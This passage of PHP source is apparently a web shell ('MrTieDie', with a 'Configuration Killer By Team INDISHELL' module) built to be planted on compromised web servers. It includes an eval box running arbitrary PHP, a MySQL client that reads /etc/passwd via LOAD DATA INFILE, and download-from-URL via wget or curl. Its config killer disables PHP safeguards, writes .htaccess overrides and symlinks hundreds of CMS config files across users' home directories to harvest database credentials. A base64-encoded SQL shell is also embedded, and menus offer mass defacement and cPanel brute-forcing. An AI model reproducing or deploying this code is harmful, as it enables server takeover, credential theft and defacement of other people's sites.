font-weight:normal;
}
.phpinfo h2, .phpinfo h2 a{
	text-align:center;
	font-size:16px;
	padding:0;
	margin:30px 0 0 0;
	background:#222222;
	padding:4px 0;
}
.explore{
width:100%;
}
.explore a {
text-decoration:none;
}
.explore td{
border-bottom:1px solid #333333;
padding:0 8px;
line-height:24px;
}
.explore th{
padding:3px 8px;
font-weight:normal;
}
.explore th:hover , .phpinfo th:hover{
border-bottom:1px solid #4C83AF;
}
.explore tr:hover{
background:#111111;
}
.viewfile{
background:#EDECEB;
color:#000000;
margin:4px 2px;
padding:8px;
}
.sembunyi{
display:none;
padding:0;margin:0;
}

</style>
</head>
<body onLoad="document.getElementById('cmd').focus();">
<div class="main">
<!-- head info start here -->
<div class="head_info">
<table><tr>
<td><table class="b374k_tbl"><tr><td><a href="?"><span class="b374k">MrTieDie</span></a></td></tr><td><a href="?<?php echo "y=".$pwd;?>&amp;x=about">About Me</a></td></tr></table></td>
<td><?php echo $buff; ?></td>
</tr></table>
</div>
<!-- head info end here -->
<!-- menu start -->
<div id="menu">
<center>
<a href="?<?php echo "y=".$pwd; ?>">Home</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=php">Eval</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=config">Config</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=mysql">MySql</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=sql">MySql2</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=dump">DbDump</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=symlink">Symlink</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=jumping">Jumping</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=mass">Mass Deface</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=brute">Cpanel Brute</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=domain">Domain</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=upload">Upload</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=netsploit">Netsploit</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=confkillindi">ConfigKiller</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=jm-reset">Joomla Reset</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=wp-reset">Wordpress Reset</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=whmcs">WHMCS Decoder</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=string">String Encode</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=zone-h">Zone-h</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=zone">Zone-h 2</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=logout">LogOut</a>
</center>
</div>
<!-- menu end -->
<?php if(isset($_GET['x']) && ($_GET['x'] == 'php')){ ?>
<form action="?y=<?php echo $pwd; ?>&amp;x=php" method="post">
<table class="cmdbox">
<tr><td>
<textarea class="output" name="cmd" id="cmd">
<?php
if(isset($_POST['submitcmd'])) {
	echo eval(magicboom($_POST['cmd']));
}
else echo "echo file_get_contents('/etc/passwd');";
?>
</textarea>
<tr><td><input style="width:19%;" class="inputzbut" type="submit" value="Kill Me !" name="submitcmd" /></td></tr></form>
</table>
</form>

<?php } 
elseif(isset($_GET['x']) && ($_GET['x'] == 'mysql')){
if(isset($_GET['sqlhost']) && isset($_GET['sqluser']) && isset($_GET['sqlpass']) && isset($_GET['sqlport'])){
	$sqlhost = $_GET['sqlhost'];
	$sqluser = $_GET['sqluser'];
	$sqlpass = $_GET['sqlpass'];
	$sqlport = $_GET['sqlport'];
	if($con = @mysql_connect($sqlhost.":".$sqlport,$sqluser,$sqlpass)){
		// show mysql info
		$msg .= "<div style=\"width:99%;padding:4px 10px 0 10px;\">";
		$msg .= "<p>Connected to ".$sqluser."<span class=\"gaya\">@</span>".$sqlhost.":".$sqlport;
		$msg .= "&nbsp;&nbsp;<span class=\"gaya\">-&gt;</span>&nbsp;&nbsp;<a href=\"?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;\">[ databases ]</a>";
		if(isset($_GET['db'])) $msg .= "&nbsp;&nbsp;<span class=\"gaya\">-&gt;</span>&nbsp;&nbsp;<a href=\"?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$_GET['db']."\">".htmlspecialchars($_GET['db'])."</a>";
		if(isset($_GET['table'])) $msg .= "&nbsp;&nbsp;<span class=\"gaya\">-&gt;</span>&nbsp;&nbsp;<a href=\"?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$_GET['db']."&amp;table=".$_GET['table']."\">".htmlspecialchars($_GET['table'])."</a>";
		$msg .= "</p><p>version : ".mysql_get_server_info($con)." proto ".mysql_get_proto_info($con)."</p>";
		$msg .= "</div>";
		echo $msg;
		if(isset($_GET['db']) && (!isset($_GET['table'])) && (!isset($_GET['sqlquery']))){
			$db = $_GET['db'];
			$query = "DROP TABLE IF EXISTS b374k_table;
CREATE TABLE `b374k_table` ( `file` LONGBLOB NOT NULL );
LOAD DATA INFILE \"/etc/passwd\"
INTO TABLE b374k_table;SELECT * FROM b374k_table;
DROP TABLE IF EXISTS b374k_table;";
			$msg  = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\">
			<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
			<input type=\"hidden\" name=\"x\" value=\"mysql\" />
			<input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
			<input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
			<input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
			<input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
			<input type=\"hidden\" name=\"db\" value=\"".$db."\" />
			<p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">$query</textarea></p>
			<p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Kill Me!\" /></p>
			</form></div>
			";


			// show available tables
			$tables = array();
			$msg .= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available tables on ".$db."</th></tr>";
			$hasil = @mysql_list_tables($db,$con);		
			while(list($table) = @mysql_fetch_row($hasil)){
				@array_push($tables,$table);
			}
			@sort($tables);	
			foreach($tables as $table){
				$msg .= "<tr><td><a href=\"?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$db."&amp;table=".$table."\">$table</a></td></tr>";
			}
			$msg .= "</table>";
		}
		elseif(isset($_GET['table']) && (!isset($_GET['sqlquery']))){
			// dump tables
			$db = $_GET['db'];
			$table = $_GET['table'];
			$query = "SELECT * FROM ".$db.".".$table." LIMIT 0,100;";
			$msgq  = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\">
			<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
			<input type=\"hidden\" name=\"x\" value=\"mysql\" />
			<input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
			<input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
			<input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
			<input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
			<input type=\"hidden\" name=\"db\" value=\"".$db."\" />
			<input type=\"hidden\" name=\"table\" value=\"".$table."\" />
			<p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p>
			<p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Kill Me!\" /></p>
			</form></div>
			";
			$columns = array();
			$msg = "<table class=\"explore\" style=\"width:99%;\">";
			$hasil = @mysql_query("SHOW FIELDS FROM ".$db.".".$table);		
			while(list($column) = @mysql_fetch_row($hasil)){
				$msg .= "<th>$column</th>";
				$kolum = $column;
			}
			$msg .= "</tr>";
			$hasil = @mysql_query("SELECT count(*) FROM ".$db.".".$table);
			list($total) = mysql_fetch_row($hasil);		
			if(isset($_GET['z'])) $page = (int) $_GET['z'];
			else $page = 1;
			$pagenum = 100;
			$totpage = ceil($total / $pagenum);
			$start = (($page - 1) * $pagenum); 			
			$hasil = @mysql_query("SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$pagenum);
			while($datas = @mysql_fetch_assoc($hasil)){
				$msg .= "<tr>";
				foreach($datas as $data){
					if(trim($data) == "") $data = "&nbsp;";
					$msg .= "<td>$data</td>";
				}
				$msg .= "</tr>";
			}
			$msg .= "</table>";
			
			
			$head = "<div style=\"padding:10px 0 0 6px;\">
			<form action=\"?\" method=\"get\">
			<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
			<input type=\"hidden\" name=\"x\" value=\"mysql\" />
			<input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
			<input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
			<input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
			<input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
			<input type=\"hidden\" name=\"db\" value=\"".$db."\" />
			<input type=\"hidden\" name=\"table\" value=\"".$table."\" />
			Page <select class=\"inputz\" name=\"z\" onchange=\"this.form.submit();\">";
			for($i = 1;$i <= $totpage;$i++){
				$head .= "<option value=\"".$i."\">".$i."</option>";
				if($i == $_GET['z']) $head .= "<option value=\"".$i."\" selected=\"selected\">".$i."</option>";
			}
			$head .= "</select><noscript><input class=\"inputzbut\" type=\"submit\" value=\"Kill Me!\" /></noscript></form></div>";
			$msg = $msgq.$head.$msg;
		}
		elseif(isset($_GET['submitquery']) && ($_GET['sqlquery'] != "")){
			$db = $_GET['db'];
			$query = magicboom($_GET['sqlquery']);
			$msg  = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\">
			<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
			<input type=\"hidden\" name=\"x\" value=\"mysql\" />
			<input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
			<input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
			<input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
			<input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
			<input type=\"hidden\" name=\"db\" value=\"".$db."\" />
			<p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p>
			<p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Kill Me!\" /></p>
			</form></div>
			";
			@mysql_select_db($db);
			$querys = explode(";",$query);
			foreach($querys as $query){
			  if(trim($query) != ""){
				$hasil = mysql_query($query);
				if($hasil){
					$msg .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;<span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>";
					$msg .= "<table class=\"explore\" style=\"width:99%;\"><tr>";
					for($i=0;$i<@mysql_num_fields($hasil);$i++)
						$msg .= "<th>".htmlspecialchars(@mysql_field_name($hasil,$i))."</th>";
					$msg .= "</tr>";
					for($i=0;$i<@mysql_num_rows($hasil);$i++)
					{
						$rows=@mysql_fetch_array($hasil);
						$msg .= "<tr>";
						for($j=0;$j<@mysql_num_fields($hasil);$j++)
						{
							if($rows[$j] == "") $dataz = "&nbsp;";
							else $dataz = $rows[$j];
							$msg .= "<td>".$dataz."</td>";
						}
						$msg .= "</tr>";
					}
					$msg .= "</table>";
				}
				else $msg .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;<span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>";		
			  }
			}
		}
		else {
		  	$query = "SHOW PROCESSLIST;
SHOW VARIABLES;
SHOW STATUS;";
			$msg  = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\">
			<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
			<input type=\"hidden\" name=\"x\" value=\"mysql\" />
			<input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
			<input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
			<input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
			<input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
			<input type=\"hidden\" name=\"db\" value=\"".$db."\" />
			<p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p>
			<p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Kill Me!\" /></p>
			</form></div>
			";
			// show available database
			$dbs = array();
			$msg .= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available databases</th></tr>";
			$hasil = @mysql_list_dbs($con);		
			while(list($db) = @mysql_fetch_row($hasil)){
				@array_push($dbs,$db);
			}
			@sort($dbs);	
			foreach($dbs as $db){
				$msg .= "<tr><td><a href=\"?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$db."\">$db</a></td></tr>";
			}
			$msg .= "</table>";
		}
		@mysql_close($con);
	}
	else $msg = "<p style=\"text-align:center;\">cant connect to mysql server</p>";


	echo $msg;
}
else{
?>
<form action="?" method="get">
<input type="hidden" name="y" value="<?php echo $pwd; ?>" />
<input type="hidden" name="x" value="mysql" />
<table class="tabnet" style="width:300px;">
<tr><th colspan="2">Connect to mySQL server</th></tr>
<tr><td>&nbsp;&nbsp;Host</td><td><input style="width:220px;" class="inputz" type="text" name="sqlhost" value="localhost" /></td></tr>
<tr><td>&nbsp;&nbsp;Username</td><td><input style="width:220px;" class="inputz" type="text" name="sqluser" value="root" /></td></tr>
<tr><td>&nbsp;&nbsp;Password</td><td><input style="width:220px;" class="inputz" type="text" name="sqlpass" value="password" /></td></tr>
<tr><td>&nbsp;&nbsp;Port</td><td><input  style="width:80px;" class="inputz" type="text" name="sqlport" value="3306" />&nbsp;<input style="width:19%;" class="inputzbut" type="submit" value="Kill Me!" name="submitsql" /></td></tr>
</table>
</form>
<?php }}

elseif(isset($_GET['x']) && ($_GET['x'] == 'upload')){ 
if(isset($_POST['uploadcomp'])){
	if(is_uploaded_file($_FILES['file']['tmp_name'])){
		$path = magicboom($_POST['path']);
		$fname = $_FILES['file']['name'];
		$tmp_name = $_FILES['file']['tmp_name'];
		$pindah = $path.$fname;
		$stat = @move_uploaded_file($tmp_name,$pindah);		
		if ($stat) {
			$msg = "file uploaded to $pindah";
		}
		else $msg = "failed to upload $fname";
	}
	else $msg = "failed to upload $fname";
}
elseif(isset($_POST['uploadurl'])){
	$pilihan = trim($_POST['pilihan']);
	$wurl = trim($_POST['wurl']);
	$path = magicboom($_POST['path']);
	$namafile = download($pilihan,$wurl);
	$pindah = $path.$namafile;
	if(is_file($pindah)) {
		$msg = "file uploaded to $pindah";
	}
	else $msg = "failed to upload $namafile";

}
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=upload" enctype="multipart/form-data" method="post">
<table class="tabnet" style="width:320px;padding:0 1px;">
<tr><th colspan="2">Upload from computer</th></tr>
<tr><td colspan="2"><p style="text-align:center;"><input style="color:#000000;" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p></td>
<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
</tr>
</table></form>
<table class="tabnet" style="width:320px;padding:0 1px;">
<tr><th colspan="2">Upload from url</th></tr>
<tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd; ?>&amp;x=upload">
<table><tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.some-code/exploits.c"></td></tr>
<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
<tr><td><select size="1" class="inputz" name="pilihan">
<option value="wwget">wget</option>
<option value="wlynx">lynx</option>
<option value="wfread">fread</option>
<option value="wfetch">fetch</option>
<option value="wlinks">links</option>
<option value="wget">GET</option>
<option value="wcurl">curl</option>
</select></td><td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td>
</tr>
</table>
<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
<?php
}
////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'confkillindi'))
    {
$byphp = "safe_mode = Off
                disable_functions = None
                ";
file_put_contents("php.ini",$byphp);
 
echo '<CENTER><b>Configuration Killer By Team INDISHELL</b><br><br>';
?>
 
<bR><form method=post>
        <textarea rows=20 cols=85 name=user><?php  $users=file("/etc/passwd");
foreach($users as $user)
{
$str=explode(":",$user);
echo $str[0]."
";
}
 
?></textarea><br>
        <input type=submit name=su value="Lets Start" /></form></CENTER>
<center>
        <?php
        error_reporting(0);
        echo "<font color=#ff00 size=2 face=\"comic sans ms\">";
        if(isset($_POST['su']))
        {
        mkdir('xcp',0777);
$rr  = " Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
  AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any";
$g = fopen('xcp/.htaccess','w');
fwrite($g,$rr);
$indishell = symlink("/","xcp/root");
                    $rt="<a href=xcp/root><font color=white size=3 face=\"comic sans ms\"> OwN3d</font></a>";
        echo "Please check link given below for / folder symlink <br><u>$rt</u>";
               
                $dir=mkdir('XCPCONF',0777);
                $r  = " Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
  AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any";
        $f = fopen('INJECTION/.htaccess','w');
   
        fwrite($f,$r);
        $consym="<a href=XCPCONF/><font color=white size=3 face=\"comic sans ms\">configuration files</font></a>";
        echo "<br>The link given below for configuration file symlink...open it, once processing finish <br><u><font color=red size=2 face=\"comic sans ms\">$consym</font></u>";
       
                $usr=explode("
",$_POST['user']);
        $configuration=array("wp-config.php",
                "wordpress/wp-config.php",
                "web/wp-config.php",
                "wp/wp-config.php",
                "press/wp-config.php",
                "wordpress/beta/wp-config.php",
                "news/wp-config.php",
                "new/wp-config.php",
                "blogs/wp-config.php",
                "home/wp-config.php",
                "blog/wp-config.php",
                "protal/wp-config.php",
                "site/wp-config.php",
                "main/wp-config.php",
                "test/wp-config.php",
                "wp/beta/wp-config.php",
                "beta/wp-config.php",
                "joomla/configuration.php",
                "protal/configuration.php",
                "joo/configuration.php",
                "cms/configuration.php",
                "site/configuration.php",
                "main/configuration.php",
                "news/configuration.php",
                "new/configuration.php",
                "home/configuration.php",
                "configuration.php",
                "SSI.php",
                "forum/SSI.php",
                "forum/inc/config.php",
                "forum/includes/config.php",
                "upload/includes/config.php",
                "cc/includes/config.php",
                "vb/includes/config.php",
                "vb3/includes/config.php",
                "cpanel/configuration.php",
                "panel/configuration.php",
                "ubmitticket.php",
                "manage/configuration.php",
                "myshop/configuration.php",
                "beta/configuration.php",
                "includes/config.php",
                "lib/config.php",
                "conf_global.php",
                "inc/config.php",
                "incl/config.php",
                "include/db.php",
                "include/config.php",
                "includes/functions.php",
                "includes/dist-configure.php",
                "connect.php",
                "mk_conf.php",
                "config/koneksi.php",
                "system/sistem.php",
                "config.php",
                "Settings.php",
                "settings.php",
                "sites/default/settings.php",
                "smf/Settings.php",
                "forum/Settings.php",
                "forums/Settings.php",
                "host/configuration.php",
                "hosting/configuration.php",
                "hosts/configuration.php",
                "zencart/includes/dist-configure.php",
                "shop/includes/dist-configure.php",
                "whm/configuration.php",
                "whmc/configuration.php",
                "whmcs/configuration.php",
                "whmc/WHM/configuration.php",
                "whm/WHMCS/configuration.php",
                "whm/whmcs/configuration.php",
                "order/configuration.php",
                "support/configuration.php",
                "supports/configuration.php",
                "oscommerce/includes/configure.php",
                "oscommerces/includes/configure.php",
                "shopping/includes/configure.php",
                "sale/includes/configure.php",
                "config.inc.php",
                "amember/config.inc.php",
                "clients/configuration.php",
                "client/configuration.php",
                "clientes/configuration.php",
                "cliente/configuration.php",
                "clientsupport/configuration.php",
                "billing/configuration.php",
                "billings/configuration.php",
                "admin/conf.php",
                "admin/config.php");
                foreach($usr as $uss )
                {
                        $us=trim($uss);
                                               
                        foreach($configuration as $c)
                        {
                         $rs="/home/".$us."/public_html/".$c;
                         $r="XCPCONF/".$us." .. ".$c;
                         symlink($rs,$r);
                       
                }
                       
                        }
               
               
                }
    }
//////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'sql'))
    {
    ?>
<form action="?y=<?php echo $pwd; ?>&amp;x=sql" method="post">
<?php
echo "<center/><br/><b><font color=#FF9900>[ Mysql Interface ]</font></b><br><br>";
  mkdir('mysql', 0755);
    chdir('mysql');
        $akses = ".htaccess";
        $buka_lah = "$akses";
        $buka = fopen ($buka_lah , 'w') or die ("Error cuyy!");
        $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-php .cpc
";    
        fwrite ( $buka , $metin ) ;
        fclose ($buka);
$sqlshell = 'PD8NCiRQQVNTV09SRCA9ICJyb290X3hoYWhheCI7DQokVVNFUk5BTUUgPSAieGhhaGF4IjsNCmlmICggZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykgKSB7DQoJJG9ub2ZmID0gaW5pX2dldCgncmVnaXN0ZXJfZ2xvYmFscycpOw0KfSBlbHNlIHsNCgkkb25vZmYgPSBnZXRfY2ZnX3ZhcigncmVnaXN0ZXJfZ2xvYmFscycpOw0KfQ0KaWYgKCRvbm9mZiAhPSAxKSB7DQoJQGV4dHJhY3QoJEhUVFBfU0VSVkVSX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfQ09PS0lFX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfUE9TVF9GSUxFUywgRVhUUl9TS0lQKTsNCglAZXh0cmFjdCgkSFRUUF9QT1NUX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfR0VUX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfRU5WX1ZBUlMsIEVYVFJfU0tJUCk7DQp9DQoNCmZ1bmN0aW9uIGxvZ29uKCkgew0KCWdsb2JhbCAkUEhQX1NFTEY7DQoJc2V0Y29va2llKCAibXlzcWxfd2ViX2FkbWluX3VzZXJuYW1lIiApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKTsNCglzZXRjb29raWUoICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICk7DQoJZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgaGVpZ2h0PTEwMCU+PHRyPjx0ZD48Y2VudGVyPlxuIjsNCgllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9Mj48dHI+PHRkPjxjZW50ZXI+XG4iOw0KCWVjaG8gIjx0YWJsZSBjZWxscGFkZGluZz0yMD48dHI+PHRkPjxjZW50ZXI+XG4iOw0KCWVjaG8gIjxmb3JtIGFjdGlvbj0nJFBIUF9TRUxGJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWJHOW5iMjVmYzNWaWJXbDA+XG4iOw0KCWVjaG8gIjx0YWJsZSBjZWxscGFkZGluZz01IGNlbGxzcGFjaW5nPTE+XG4iOw0KCWVjaG8gIjx0cj48dGQgY2xhc3M9XCJuZXdcIj5Ib3N0bmFtZSA8L3RkPjx0ZD4gPGlucHV0IHR5cGU9dGV4dCBuYW1lPWhvc3RuYW1lIHZhbHVlPSdsb2NhbGhvc3QnPjwvdGQ+PC90cj5cbiI7DQoJZWNobyAiPHRyPjx0ZCBjbGFzcz1cIm5ld1wiPlVzZXJuYW1lIDwvdGQ+PHRkPiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9dXNlcm5hbWU+PC90ZD48L3RyPlxuIjsNCgllY2hvICI8dHI+PHRkIGNsYXNzPVwibmV3XCI+UGFzc3dvcmQgPC90ZD48dGQ+IDxpbnB1dCB0eXBlPXBhc3N3b3JkIG5hbWU9cGFzc3dvcmQ+PC90ZD48L3RyPlxuIjsNCgllY2hvICI8L3RhYmxlPjxwPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9JyBFbnRlciAnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1yZXNldCB2YWx1ZT0nIENsZWFyICc+PGJyPlxuIjsNCgllY2hvICI8L2Zvcm0+XG4iOw0KCWVjaG8gIjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPlxuIjsNCgllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7DQoJZWNobyAiPHA+XG4iOw0KCWVjaG8gIjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gbG9nb25fc3VibWl0KCkgew0KCWdsb2JhbCAkdXNlcm5hbWUsICRwYXNzd29yZCwgJGhvc3RuYW1lICwkUEhQX1NFTEY7DQoJaWYoJGhvc3RuYW1lID09JycpDQoJCSRob3N0bmFtZSA9ICdsb2NhbGhvc3QnOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl91c2VybmFtZSIsICR1c2VybmFtZSApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIsICRwYXNzd29yZCApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIsICRob3N0bmFtZSApOw0KCWVjaG8gIjxNRVRBIEhUVFAtRVFVSVY9UmVmcmVzaCBDT05URU5UPScwOyBVUkw9JFBIUF9TRUxGP2FjdGlvbj1iR2x6ZEVSQ2N3PT0nPiI7DQp9DQoNCmZ1bmN0aW9uIGVjaG9RdWVyeVJlc3VsdCgpIHsNCglnbG9iYWwgJHF1ZXJ5U3RyLCAkZXJyTXNnOw0KCWlmKCAkZXJyTXNnID09ICIiICkgJGVyck1zZyA9ICJTdWNjZXNzIjsNCglpZiggJHF1ZXJ5U3RyICE9ICIiICkgew0KCQllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9NT5cbiI7DQoJCWVjaG8gIjx0cj48dGQ+UXVlcnk8L3RkPjx0ZD4kcXVlcnlTdHI8L3RkPjwvdHI+XG4iOw0KCQllY2hvICI8dHI+PHRkPlJlc3VsdDwvdGQ+PHRkPiRlcnJNc2c8L3RkPjwvdHI+XG4iOw0KCQllY2hvICI8L3RhYmxlPjxwPlxuIjsNCgl9DQp9DQoNCmZ1bmN0aW9uIGxpc3REYXRhYmFzZXMoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJFBIUF9TRUxGOw0KCWVjaG8gIjxoMT5EYXRhYmFzZXMgTGlzdDwvaDE+XG4iOw0KCWVjaG8gIjxmb3JtIGFjdGlvbj0nJFBIUF9TRUxGJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWNyZWF0ZURCPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NyZWF0ZSBEYXRhYmFzZSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQoJZWNobyAiPGhyPlxuIjsNCgllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01PlxuIjsNCgkkcERCID0gbXlzcWxfbGlzdF9kYnMoICRteXNxbEhhbmRsZSApOw0KCSRudW0gPSBteXNxbF9udW1fcm93cyggJHBEQiApOw0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRkYm5hbWUgPSBteXNxbF9kYm5hbWUoICRwREIsICRpICk7DQoJCWVjaG8gIjx0cj5cbiI7DQoJCWVjaG8gIjx0ZD4kZGJuYW1lPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWxpc3RUYWJsZXMmZGJuYW1lPSRkYm5hbWUnPlRhYmxlczwvYT48L3RkPlxuIjsNCgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcERCJmRibmFtZT0kZGJuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0Ryb3AgRGF0YWJhc2UgXCckZGJuYW1lXCc/JylcIj5Ecm9wPC9hPjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kdW1wREImZGJuYW1lPSRkYm5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHVtcCBEYXRhYmFzZSBcJyRkYm5hbWVcJz8nKVwiPkR1bXA8L2E+PC90ZD5cbiI7DQ